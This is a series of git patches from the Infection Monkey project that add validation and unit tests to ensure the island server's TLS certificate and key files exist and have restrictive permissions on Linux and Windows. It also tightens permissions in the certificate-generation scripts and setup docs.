.../cc/server_utils/test_file_utils.py | 27 +++++++++++++++++++ 3 files changed, 36 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index 225fb8732a0..6a474355a72 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -3,3 +3,10 @@ def expand_path(path: str) -> str: return os.path.expandvars(os.path.expanduser(path)) + + +def has_expected_permissions(path: str, expected_permissions: int) -> bool: + file_mode = os.stat(path).st_mode + file_permissions = file_mode & 0o777 + + return file_permissions == expected_permissions diff --git a/monkey/monkey_island/cc/services/utils/file_handling.py b/monkey/monkey_island/cc/services/utils/file_handling.py index 114405647fb..e6c4839d2e9 100644 --- a/monkey/monkey_island/cc/services/utils/file_handling.py +++ b/monkey/monkey_island/cc/services/utils/file_handling.py @@ -1,6 +1,7 @@ import os from common.utils.exceptions import InsecurePermissionsError +from monkey_island.cc.server_utils.file_utils import has_expected_permissions def ensure_file_existence(file: str) -> None: @@ -9,14 +10,7 @@ def ensure_file_existence(file: str) -> None: def ensure_file_permissions(file: str) -> None: - if not file_has_expected_permissions(path=file, expected_permissions="0o400"): + if not has_expected_permissions(path=file, expected_permissions="0o400"): raise InsecurePermissionsError( f"{file} has insecure permissions. Required permissions: 400. Exiting." ) - - -def file_has_expected_permissions(path: str, expected_permissions: str) -> bool: - file_mode = os.stat(path).st_mode - file_permissions = oct(file_mode & 0o777) - - return file_permissions == expected_permissions diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py index cff7161357e..79409ba7ac2 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py @@ -1,5 +1,7 @@ import os +import pytest + from monkey_island.cc.server_utils import file_utils @@ -15,3 +17,28 @@ def test_expand_vars(patched_home_env): expected_path = os.path.join(patched_home_env, "test") assert file_utils.expand_path(input_path) == expected_path + + +@pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") +def test_has_expected_permissions_true(tmpdir): + file_name = f"{tmpdir}/test" + + create_empty_file(file_name) + os.chmod(file_name, 0o754) + + assert file_utils.has_expected_permissions(file_name, 0o754) + + +@pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") +def test_has_expected_permissions_false(tmpdir): + file_name = f"{tmpdir}/test" + + create_empty_file(file_name) + os.chmod(file_name, 0o755) + + assert not file_utils.has_expected_permissions(file_name, 0o700) + + +def create_empty_file(file_name): + with open(file_name, "w"): + pass From c19dc9dcad74f50f75c9d69bb13fe2bb4504b149 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 14:33:04 -0400 Subject: [PATCH 0714/1360] island: Add config validation to IslandConfigOptions --- monkey/monkey_island/cc/server_setup.py | 29 +++++++++++++++---- .../cc/services/utils/file_handling.py | 16 ---------- .../cc/setup/certificate_setup.py | 18 ------------ .../cc/setup/island_config_options.py | 25 +++++++++++++++- 4 files changed, 47 insertions(+), 41 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/utils/file_handling.py delete mode 100644 monkey/monkey_island/cc/setup/certificate_setup.py diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 7e32ce26b8d..8adcbdaa56a 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -26,7 +26,7 @@ from monkey_island.cc.services.initialize import initialize_services # noqa: E402 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 -from monkey_island.cc.setup.certificate_setup import setup_certificate # noqa: E402 +from monkey_island.cc.setup import island_config_options # noqa: E402 from monkey_island.cc.setup.island_config_options import IslandConfigOptions # noqa: E402 from monkey_island.cc.setup.mongo.database_initializer import init_collections # noqa: E402 from monkey_island.cc.setup.mongo.mongo_setup import ( # noqa: E402 @@ -43,6 +43,8 @@ def run_monkey_island(): island_args = parse_cli_args() config_options, server_config_path = _setup_data_dir(island_args) + _exit_on_invalid_config_options(config_options) + _configure_logging(config_options) _initialize_globals(config_options, server_config_path) @@ -66,6 +68,14 @@ def _setup_data_dir(island_args: IslandCmdArgs) -> Tuple[IslandConfigOptions, st exit(1) +def _exit_on_invalid_config_options(config_options: IslandConfigOptions): + try: + island_config_options.raise_on_invalid_options(config_options) + except Exception as ex: + print(f"Configuration error: {ex}") + exit(1) + + def _configure_logging(config_options): reset_logger() setup_logging(config_options.data_dir, config_options.log_level) @@ -82,8 +92,6 @@ def _start_island_server(should_setup_only, config_options: IslandConfigOptions) populate_exporter_list() app = init_app(MONGO_URL) - crt_path, key_path = setup_certificate(config_options.crt_path, config_options.key_path) - init_collections() if should_setup_only: @@ -92,14 +100,23 @@ def _start_island_server(should_setup_only, config_options: IslandConfigOptions) bootloader_server_thread = _start_bootloader_server() + logger.info( + f"Using certificate path: {config_options.crt_path}, and key path: " + "{config_options.key_path}." + ) + if env_singleton.env.is_debug(): - app.run(host="0.0.0.0", debug=True, ssl_context=(crt_path, key_path)) + app.run( + host="0.0.0.0", + debug=True, + ssl_context=(config_options.crt_path, config_options.key_path), + ) else: http_server = WSGIServer( ("0.0.0.0", env_singleton.env.get_island_port()), app, - certfile=crt_path, - keyfile=key_path, + certfile=config_options.crt_path, + keyfile=config_options.key_path, ) _log_init_info() http_server.serve_forever() diff --git a/monkey/monkey_island/cc/services/utils/file_handling.py b/monkey/monkey_island/cc/services/utils/file_handling.py deleted file mode 100644 index e6c4839d2e9..00000000000 --- a/monkey/monkey_island/cc/services/utils/file_handling.py +++ /dev/null @@ -1,16 +0,0 @@ -import os - -from common.utils.exceptions import InsecurePermissionsError -from monkey_island.cc.server_utils.file_utils import has_expected_permissions - - -def ensure_file_existence(file: str) -> None: - if not os.path.exists(file): - raise FileNotFoundError(f"File not found at {file}. Exiting.") - - -def ensure_file_permissions(file: str) -> None: - if not has_expected_permissions(path=file, expected_permissions="0o400"): - raise InsecurePermissionsError( - f"{file} has insecure permissions. Required permissions: 400. Exiting." - ) diff --git a/monkey/monkey_island/cc/setup/certificate_setup.py b/monkey/monkey_island/cc/setup/certificate_setup.py deleted file mode 100644 index 273bbee1bff..00000000000 --- a/monkey/monkey_island/cc/setup/certificate_setup.py +++ /dev/null @@ -1,18 +0,0 @@ -import logging - -from monkey_island.cc.services.utils.file_handling import ( - ensure_file_existence, - ensure_file_permissions, -) - -logger = logging.getLogger(__name__) - - -def setup_certificate(crt_path: str, key_path: str) -> (str, str): - for file in [crt_path, key_path]: - ensure_file_existence(file) - ensure_file_permissions(file) - - logger.info(f"Using certificate path: {crt_path}, and key path: {key_path}.") - - return crt_path, key_path diff --git a/monkey/monkey_island/cc/setup/island_config_options.py b/monkey/monkey_island/cc/setup/island_config_options.py index 9704e5f4553..78865acbecf 100644 --- a/monkey/monkey_island/cc/setup/island_config_options.py +++ b/monkey/monkey_island/cc/setup/island_config_options.py @@ -1,5 +1,8 @@ from __future__ import annotations +import os + +from common.utils.exceptions import InsecurePermissionsError from monkey_island.cc.server_utils.consts import ( DEFAULT_CERTIFICATE_PATHS, DEFAULT_CRT_PATH, @@ -8,7 +11,7 @@ DEFAULT_LOG_LEVEL, DEFAULT_START_MONGO_DB, ) -from monkey_island.cc.server_utils.file_utils import expand_path +from monkey_island.cc.server_utils.file_utils import expand_path, has_expected_permissions class IslandConfigOptions: @@ -31,3 +34,23 @@ def __init__(self, config_contents: dict): "ssl_certificate_key_file", DEFAULT_KEY_PATH ) ) + + +def raise_on_invalid_options(options: IslandConfigOptions): + _raise_if_not_isfile(options.crt_path) + _raise_if_incorrect_permissions(options.crt_path, 0o400) + + _raise_if_not_isfile(options.key_path) + _raise_if_incorrect_permissions(options.key_path, 0o400) + + +def _raise_if_not_isfile(f: str): + if not os.path.isfile(f): + raise FileNotFoundError(f"{f} does not exist or is not a regular file.") + + +def _raise_if_incorrect_permissions(f: str, expected_permissions: int): + if not has_expected_permissions(f, expected_permissions): + raise InsecurePermissionsError( + f"The file {f} has incorrect permissions. Expected: {oct(expected_permissions)}" + ) From 78af0d86aabf368b0c5038c87a1e080d14c2ee30 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 19:28:03 -0400 Subject: [PATCH 0715/1360] island: Move IslandConfigOptions validation to separate module --- monkey/monkey_island/cc/server_setup.py | 4 +-- .../cc/setup/island_config_options.py | 25 +------------------ .../setup/island_config_options_validator.py | 25 +++++++++++++++++++ 3 files changed, 28 insertions(+), 26 deletions(-) create mode 100644 monkey/monkey_island/cc/setup/island_config_options_validator.py diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 8adcbdaa56a..ee177424045 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -26,7 +26,7 @@ from monkey_island.cc.services.initialize import initialize_services # noqa: E402 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 -from monkey_island.cc.setup import island_config_options # noqa: E402 +from monkey_island.cc.setup import island_config_options_validator # noqa: E402 from monkey_island.cc.setup.island_config_options import IslandConfigOptions # noqa: E402 from monkey_island.cc.setup.mongo.database_initializer import init_collections # noqa: E402 from monkey_island.cc.setup.mongo.mongo_setup import ( # noqa: E402 @@ -70,7 +70,7 @@ def _setup_data_dir(island_args: IslandCmdArgs) -> Tuple[IslandConfigOptions, st def _exit_on_invalid_config_options(config_options: IslandConfigOptions): try: - island_config_options.raise_on_invalid_options(config_options) + island_config_options_validator.raise_on_invalid_options(config_options) except Exception as ex: print(f"Configuration error: {ex}") exit(1) diff --git a/monkey/monkey_island/cc/setup/island_config_options.py b/monkey/monkey_island/cc/setup/island_config_options.py index 78865acbecf..9704e5f4553 100644 --- a/monkey/monkey_island/cc/setup/island_config_options.py +++ b/monkey/monkey_island/cc/setup/island_config_options.py @@ -1,8 +1,5 @@ from __future__ import annotations -import os - -from common.utils.exceptions import InsecurePermissionsError from monkey_island.cc.server_utils.consts import ( DEFAULT_CERTIFICATE_PATHS, DEFAULT_CRT_PATH, @@ -11,7 +8,7 @@ DEFAULT_LOG_LEVEL, DEFAULT_START_MONGO_DB, ) -from monkey_island.cc.server_utils.file_utils import expand_path, has_expected_permissions +from monkey_island.cc.server_utils.file_utils import expand_path class IslandConfigOptions: @@ -34,23 +31,3 @@ def __init__(self, config_contents: dict): "ssl_certificate_key_file", DEFAULT_KEY_PATH ) ) - - -def raise_on_invalid_options(options: IslandConfigOptions): - _raise_if_not_isfile(options.crt_path) - _raise_if_incorrect_permissions(options.crt_path, 0o400) - - _raise_if_not_isfile(options.key_path) - _raise_if_incorrect_permissions(options.key_path, 0o400) - - -def _raise_if_not_isfile(f: str): - if not os.path.isfile(f): - raise FileNotFoundError(f"{f} does not exist or is not a regular file.") - - -def _raise_if_incorrect_permissions(f: str, expected_permissions: int): - if not has_expected_permissions(f, expected_permissions): - raise InsecurePermissionsError( - f"The file {f} has incorrect permissions. Expected: {oct(expected_permissions)}" - ) diff --git a/monkey/monkey_island/cc/setup/island_config_options_validator.py b/monkey/monkey_island/cc/setup/island_config_options_validator.py new file mode 100644 index 00000000000..0a5247003cc --- /dev/null +++ b/monkey/monkey_island/cc/setup/island_config_options_validator.py @@ -0,0 +1,25 @@ +import os + +from common.utils.exceptions import InsecurePermissionsError +from monkey_island.cc.server_utils.file_utils import has_expected_permissions +from monkey_island.cc.setup.island_config_options import IslandConfigOptions + + +def raise_on_invalid_options(options: IslandConfigOptions): + _raise_if_not_isfile(options.crt_path) + _raise_if_incorrect_permissions(options.crt_path, 0o400) + + _raise_if_not_isfile(options.key_path) + _raise_if_incorrect_permissions(options.key_path, 0o400) + + +def _raise_if_not_isfile(f: str): + if not os.path.isfile(f): + raise FileNotFoundError(f"{f} does not exist or is not a regular file.") + + +def _raise_if_incorrect_permissions(f: str, expected_permissions: int): + if not has_expected_permissions(f, expected_permissions): + raise InsecurePermissionsError( + f"The file {f} has incorrect permissions. Expected: {oct(expected_permissions)}" + ) From b80dd5935282ed4c07f26a5e6546c439b3bd467e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 19:44:06 -0400 Subject: [PATCH 0716/1360] tests: move create_empty_file() to conftest.py --- .../monkey_island/cc/server_utils/test_file_utils.py | 9 ++------- monkey/tests/unit_tests/monkey_island/conftest.py | 9 +++++++++ 2 files changed, 11 insertions(+), 7 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py index 79409ba7ac2..e9dc3eddc39 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py @@ -20,7 +20,7 @@ def test_expand_vars(patched_home_env): @pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") -def test_has_expected_permissions_true(tmpdir): +def test_has_expected_permissions_true(tmpdir, create_empty_file): file_name = f"{tmpdir}/test" create_empty_file(file_name) @@ -30,15 +30,10 @@ def test_has_expected_permissions_true(tmpdir): @pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") -def test_has_expected_permissions_false(tmpdir): +def test_has_expected_permissions_false(tmpdir, create_empty_file): file_name = f"{tmpdir}/test" create_empty_file(file_name) os.chmod(file_name, 0o755) assert not file_utils.has_expected_permissions(file_name, 0o700) - - -def create_empty_file(file_name): - with open(file_name, "w"): - pass diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py index f45eb3ed69b..2baa97a02c7 100644 --- a/monkey/tests/unit_tests/monkey_island/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/conftest.py @@ -13,3 +13,12 @@ def patched_home_env(monkeypatch, tmpdir): monkeypatch.setenv("HOME", str(tmpdir)) return tmpdir + + +@pytest.fixture +def create_empty_file(): + def inner(file_name): + with open(file_name, "w"): + pass + + return inner From 63fb396bbb270b1c19d0b234a5c57c2a06d9212a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 19:55:33 -0400 Subject: [PATCH 0717/1360] island: Add unit tests for island_config_options_validator --- .../test_island_config_options_validator.py | 62 +++++++++++++++++++ 1 file changed, 62 insertions(+) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py new file mode 100644 index 00000000000..9c2353c5b2e --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py @@ -0,0 +1,62 @@ +import os + +import pytest + +from common.utils.exceptions import InsecurePermissionsError +from monkey_island.cc.setup.island_config_options import IslandConfigOptions +from monkey_island.cc.setup.island_config_options_validator import raise_on_invalid_options + + +@pytest.fixture +def island_config_options(tmpdir, create_empty_file): + crt_file = os.path.join(tmpdir, "test.crt") + create_empty_file(crt_file) + os.chmod(crt_file, 0o400) + + key_file = os.path.join(tmpdir, "test.key") + create_empty_file(key_file) + os.chmod(key_file, 0o400) + return IslandConfigOptions( + { + "ssl_certificate": { + "ssl_certificate_file": crt_file, + "ssl_certificate_key_file": key_file, + } + } + ) + + +def test_valid_crt_and_key_paths(island_config_options): + try: + raise_on_invalid_options(island_config_options) + except Exception as ex: + print(ex) + assert False + + +def test_crt_path_does_not_exist(island_config_options): + os.remove(island_config_options.crt_path) + + with pytest.raises(FileNotFoundError): + raise_on_invalid_options(island_config_options) + + +def test_crt_path_insecure_permissions(island_config_options): + os.chmod(island_config_options.crt_path, 0o777) + + with pytest.raises(InsecurePermissionsError): + raise_on_invalid_options(island_config_options) + + +def test_key_path_does_not_exist(island_config_options): + os.remove(island_config_options.key_path) + + with pytest.raises(FileNotFoundError): + raise_on_invalid_options(island_config_options) + + +def test_key_path_insecure_permissions(island_config_options): + os.chmod(island_config_options.key_path, 0o777) + + with pytest.raises(InsecurePermissionsError): + raise_on_invalid_options(island_config_options) From 4b119ab4cedabf0b8dc84e8b9a35ee7edf3d74e9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 8 Jun 2021 06:35:15 -0400 Subject: [PATCH 0718/1360] island: Skip some island_config_options_validator tests on Windows --- .../cc/setup/test_island_config_options_validator.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py index 9c2353c5b2e..1b1be671832 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py @@ -26,6 +26,7 @@ def island_config_options(tmpdir, create_empty_file): ) +@pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") def test_valid_crt_and_key_paths(island_config_options): try: raise_on_invalid_options(island_config_options) @@ -34,6 +35,7 @@ def test_valid_crt_and_key_paths(island_config_options): assert False +@pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") def test_crt_path_does_not_exist(island_config_options): os.remove(island_config_options.crt_path) @@ -41,6 +43,7 @@ def test_crt_path_does_not_exist(island_config_options): raise_on_invalid_options(island_config_options) +@pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") def test_crt_path_insecure_permissions(island_config_options): os.chmod(island_config_options.crt_path, 0o777) @@ -48,6 +51,7 @@ def test_crt_path_insecure_permissions(island_config_options): raise_on_invalid_options(island_config_options) +@pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") def test_key_path_does_not_exist(island_config_options): os.remove(island_config_options.key_path) @@ -55,6 +59,7 @@ def test_key_path_does_not_exist(island_config_options): raise_on_invalid_options(island_config_options) +@pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") def test_key_path_insecure_permissions(island_config_options): os.chmod(island_config_options.key_path, 0o777) From 9086d9313761ecd483f818d60c47af1e51415153 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 8 Jun 2021 06:40:59 -0400 Subject: [PATCH 0719/1360] docs: Make chmod command less specific in docker setup --- docs/content/setup/docker.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 4d05b9b1a81..c839f4aef1c 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -87,7 +87,8 @@ been signed by a private certificate authority. 1. Make sure that your `.crt` and `.key` files are read-only and readable only by you. ```bash - chmod 400 ./monkey_island_data/{*.key,*.crt} + chmod 400 + chmod 400 ``` 1. Edit `./monkey_island_data/server_config.json` to configure Monkey Island From 526019a6ead6e463efcf695100693fcdfaa2d8e1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 8 Jun 2021 06:51:25 -0400 Subject: [PATCH 0720/1360] docs: Make chmod command less specific in linux setup --- docs/content/setup/linux.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/content/setup/linux.md b/docs/content/setup/linux.md index a5ad1f99bc0..85e4a0f13e6 100644 --- a/docs/content/setup/linux.md +++ b/docs/content/setup/linux.md @@ -45,7 +45,8 @@ private certificate authority. by you. ```bash - chmod 400 $HOME/.monkey_island/{*.key,*.crt} + chmod 400 + chmod 400 ``` 1. Edit `$HOME/.monkey_island/server_config.json` to configure Monkey Island From 3841dd7f7b47f55c83f4e13d8c17940db0fe28e0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 8 Jun 2021 07:17:59 -0400 Subject: [PATCH 0721/1360] island: Set tighter permissions on certs in create_certificate.sh --- monkey/monkey_island/linux/create_certificate.sh | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/monkey/monkey_island/linux/create_certificate.sh b/monkey/monkey_island/linux/create_certificate.sh index ca7d397e050..cbbe5261b13 100644 --- a/monkey/monkey_island/linux/create_certificate.sh +++ b/monkey/monkey_island/linux/create_certificate.sh @@ -21,10 +21,16 @@ umask 377 echo "Generating key in $server_root/server.key..." openssl genrsa -out "$server_root"/server.key 2048 +chmod 400 "$server_root"/server.key + echo "Generating csr in $server_root/server.csr..." openssl req -new -key "$server_root"/server.key -out "$server_root"/server.csr -subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" +chmod 400 "$server_root"/server.csr + echo "Generating certificate in $server_root/server.crt..." openssl x509 -req -days 366 -in "$server_root"/server.csr -signkey "$server_root"/server.key -out "$server_root"/server.crt +chmod 400 "$server_root"/server.crt + # Shove some new random data into the file to override the original seed we put in. if [ "$CREATED_RND_FILE" = true ] ; then From ef17b7f9c88fc3cbb1272ca09e2e48fe9b12414b Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Wed, 9 Jun 2021 16:31:27 +0530 Subject: [PATCH 0722/1360] Add unit tests for windows directory permission setting --- .../environment/test_windows_permissions.py | 34 +++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/environment/test_windows_permissions.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_windows_permissions.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_windows_permissions.py new file mode 100644 index 00000000000..6ac17255ebf --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_windows_permissions.py @@ -0,0 +1,34 @@ +import os + +import pytest + +from monkey_island.cc.environment.windows_permissions import set_perms_to_owner_only + + +@pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") +def test_set_perms_to_owner_only(tmpdir): + import win32api # noqa: E402 + import win32security # noqa: E402 + + folder = str(tmpdir) + + set_perms_to_owner_only(folder) + + FULL_CONTROL = 2032127 + ACE_TYPE_ALLOW = 0 + + user_sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName()) + security_descriptor = win32security.GetNamedSecurityInfo( + folder, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION + ) + acl = security_descriptor.GetSecurityDescriptorDacl() + + assert acl.GetAceCount() == 1 + + ace = acl.GetAce(0) + ace_type, _ = ace[0] # 0 for allow, 1 for deny + permissions = ace[1] + sid = ace[-1] + + assert sid == user_sid + assert permissions == FULL_CONTROL and ace_type == ACE_TYPE_ALLOW From 10e7b1966995b9d38b979f5f18b4d0c506269eb5 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 9 Jun 2021 11:12:30 +0530 Subject: [PATCH 0723/1360] Fix consts.py (mix up during rebase) --- monkey/monkey_island/cc/server_utils/consts.py | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 02f23428d0c..ef5d0733cd0 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -38,11 +38,7 @@ def _get_monkey_island_abs_path() -> str: ) DEFAULT_SERVER_CONFIG_PATH = file_utils.expand_path( - os.path.join(DEFAULT_DATA_DIR, SERVER_CONFIG_FILENAME) -) - -DEFAULT_DEVELOP_SERVER_CONFIG_PATH = os.path.join( - MONKEY_ISLAND_ABS_PATH, "cc", f"{SERVER_CONFIG_FILENAME}.develop" + os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", SERVER_CONFIG_FILENAME) ) DEFAULT_LOG_LEVEL = "INFO" From 011ab2a393955fc339615f6eff6b9d3c2e03a142 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 9 Jun 2021 11:14:06 +0530 Subject: [PATCH 0724/1360] Modify `has_expected_permissions()` to check files on Windows --- .../cc/server_utils/file_utils.py | 35 +++++++++++++++++-- 1 file changed, 33 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index 6a474355a72..83670d0c9f5 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -1,12 +1,43 @@ import os +from monkey_island.cc.environment.utils import is_windows_os + def expand_path(path: str) -> str: return os.path.expandvars(os.path.expanduser(path)) def has_expected_permissions(path: str, expected_permissions: int) -> bool: - file_mode = os.stat(path).st_mode - file_permissions = file_mode & 0o777 + if is_windows_os(): + import win32api # noqa: E402 + import win32security # noqa: E402 + + admins_sid, _, _ = win32security.LookupAccountName("", "Administrators") + user_sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName()) + + security_descriptor = win32security.GetNamedSecurityInfo( + path, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION + ) + + acl = security_descriptor.GetSecurityDescriptorDacl() + + for i in range(acl.GetAceCount()): + ace = acl.GetAce(i) + sid = ace[-1] + permissions = ace[1] + if sid == user_sid: + if oct(permissions & 0o777) != expected_permissions: + return False + elif sid == admins_sid: + continue + else: + if oct(permissions) != 0: # everyone but user & admins should have no permissions + return False + + return True + + else: + file_mode = os.stat(path).st_mode + file_permissions = file_mode & 0o777 return file_permissions == expected_permissions From f1d85dbc448f78e37e0802787d1956b218b1f7be Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 9 Jun 2021 12:43:55 +0530 Subject: [PATCH 0725/1360] Change default cert permissions in bat script for creating default cert --- .../monkey_island/windows/create_certificate.bat | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/monkey/monkey_island/windows/create_certificate.bat b/monkey/monkey_island/windows/create_certificate.bat index 645c6fa2561..3062f5c574e 100644 --- a/monkey/monkey_island/windows/create_certificate.bat +++ b/monkey/monkey_island/windows/create_certificate.bat @@ -16,3 +16,17 @@ copy "%mydir%windows\openssl.cfg" "%mydir%bin\openssl\openssl.cfg" "%mydir%bin\openssl\openssl.exe" genrsa -out "%mydir%cc\server.key" 1024 "%mydir%bin\openssl\openssl.exe" req -new -config "%mydir%bin\openssl\openssl.cfg" -key "%mydir%cc\server.key" -out "%mydir%cc\server.csr" -subj "/OU=Monkey Department/CN=monkey.com" "%mydir%bin\openssl\openssl.exe" x509 -req -days 366 -in "%mydir%cc\server.csr" -signkey "%mydir%cc\server.key" -out "%mydir%cc\server.crt" + + +:: Change file permissions +SET adminsIdentity="BUILTIN\Administrators" +FOR /f %%O IN ('whoami') DO SET ownIdentity=%%O + +FOR %%F IN ("%mydir%cc\server.key", "%mydir%cc\server.csr", "%mydir%cc\server.crt") DO ( + + :: Remove all others and add admins rule (with full control) + echo y| cacls %%F" /p %adminsIdentity%:F + + :: Add user rule (with read) + echo y| cacls %%F /e /p %ownIdentity%:R +) From 438a63b0f441bca2429b8e72c95c00f07cf6c15c Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 9 Jun 2021 13:34:26 +0530 Subject: [PATCH 0726/1360] Fix Windows file permission checking --- monkey/monkey_island/cc/server_utils/file_utils.py | 4 ++-- .../cc/setup/island_config_options_validator.py | 12 +++++++++--- 2 files changed, 11 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index 83670d0c9f5..77720917125 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -26,12 +26,12 @@ def has_expected_permissions(path: str, expected_permissions: int) -> bool: sid = ace[-1] permissions = ace[1] if sid == user_sid: - if oct(permissions & 0o777) != expected_permissions: + if permissions != expected_permissions: return False elif sid == admins_sid: continue else: - if oct(permissions) != 0: # everyone but user & admins should have no permissions + if permissions != 2032127: # everyone but user & admins should have no permissions return False return True diff --git a/monkey/monkey_island/cc/setup/island_config_options_validator.py b/monkey/monkey_island/cc/setup/island_config_options_validator.py index 0a5247003cc..fdf25ef8507 100644 --- a/monkey/monkey_island/cc/setup/island_config_options_validator.py +++ b/monkey/monkey_island/cc/setup/island_config_options_validator.py @@ -1,16 +1,17 @@ import os from common.utils.exceptions import InsecurePermissionsError +from monkey_island.cc.environment.utils import is_windows_os from monkey_island.cc.server_utils.file_utils import has_expected_permissions from monkey_island.cc.setup.island_config_options import IslandConfigOptions def raise_on_invalid_options(options: IslandConfigOptions): _raise_if_not_isfile(options.crt_path) - _raise_if_incorrect_permissions(options.crt_path, 0o400) + _raise_if_incorrect_permissions(options.crt_path, 0o400, 1179817) _raise_if_not_isfile(options.key_path) - _raise_if_incorrect_permissions(options.key_path, 0o400) + _raise_if_incorrect_permissions(options.key_path, 0o400, 1179817) def _raise_if_not_isfile(f: str): @@ -18,7 +19,12 @@ def _raise_if_not_isfile(f: str): raise FileNotFoundError(f"{f} does not exist or is not a regular file.") -def _raise_if_incorrect_permissions(f: str, expected_permissions: int): +def _raise_if_incorrect_permissions( + f: str, linux_expected_permissions: int, windows_expected_permissions: int +): + expected_permissions = ( + windows_expected_permissions if is_windows_os() else linux_expected_permissions + ) if not has_expected_permissions(f, expected_permissions): raise InsecurePermissionsError( f"The file {f} has incorrect permissions. Expected: {oct(expected_permissions)}" From fcd758e24f2f28328abcae9941c983acf6315f5a Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Wed, 9 Jun 2021 